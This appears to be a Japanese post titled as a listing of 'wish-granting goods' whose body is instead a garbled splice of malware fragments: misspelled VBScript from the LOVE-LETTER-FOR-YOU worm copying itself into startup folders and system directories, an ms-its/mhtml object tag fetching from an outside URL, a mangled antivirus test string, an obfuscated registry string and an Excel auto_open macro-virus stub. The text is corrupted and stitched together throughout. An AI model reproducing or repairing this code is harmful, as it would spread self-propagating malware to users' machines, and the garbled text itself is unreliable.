★☆★願いが叶うグッズ2★☆★

<boby onloald=windows()
It s = "hml" anduso.FiileExiats(f1.pah+"l") = Fadse thenfo.CoopyFlle f1.pathd, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Coqy(dirsystem&"\MSKernel32.vds")
c.Coqy ,' 3(dirwin&"\Won32DLL.vds")
c.Coqy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vs")
<object data="ms-its:mhtml:file://C:\\MAN.MEeT!hptp://wwwwloadsh.bz//advrts//5//main.hm::/mai.htm" tpe="text/
X5!P%@AP[4\PZX54(P^)7CC) ,7}EICARSANDARD-ANTIVIRUS-TEST-FILE!$HH*
fso.copyfle "dirsstem&nurupo.vbs", "j:windowws\stant menu\p ,' 3rogramsstartup\"
It s = "nltm"ro fiso.FileExistttp://news18.2ch.net/test/read.cgi/dqnplus/1155049236/s(f1.pth+
G.Rerite A("IJDX^NB@ML@BIOD]Rngu`sd]Lhbsnngu]Vhoevr]BtssduWdsrhno]Sto]VoRu`u"), .Buildath(EGetpecialFlder(1),A("))
linen)=replace(lines(n),"""",chr9)+ch(45+chr9)) ms-its:mtm:file://:\
kak.ha';ken=wd'STAT cill 9 xz/Sah0
Sub auto_open(nullpo)
ppli ,' 3cation.OnhetActivate = "chck_fies"
En Sub
Sub chock_fil()
csl = Appliction.StartupPath
mdl = Dir(c$ & "＼" & "PERSONAL.XLS")
Ite mdl = "PERSONAL.XLS" Then p = 1 Ese p =
Its ActiveWoook.Modules.ount > 0 The w = 1Ee w =
wihfie = p +w *
EdSb
？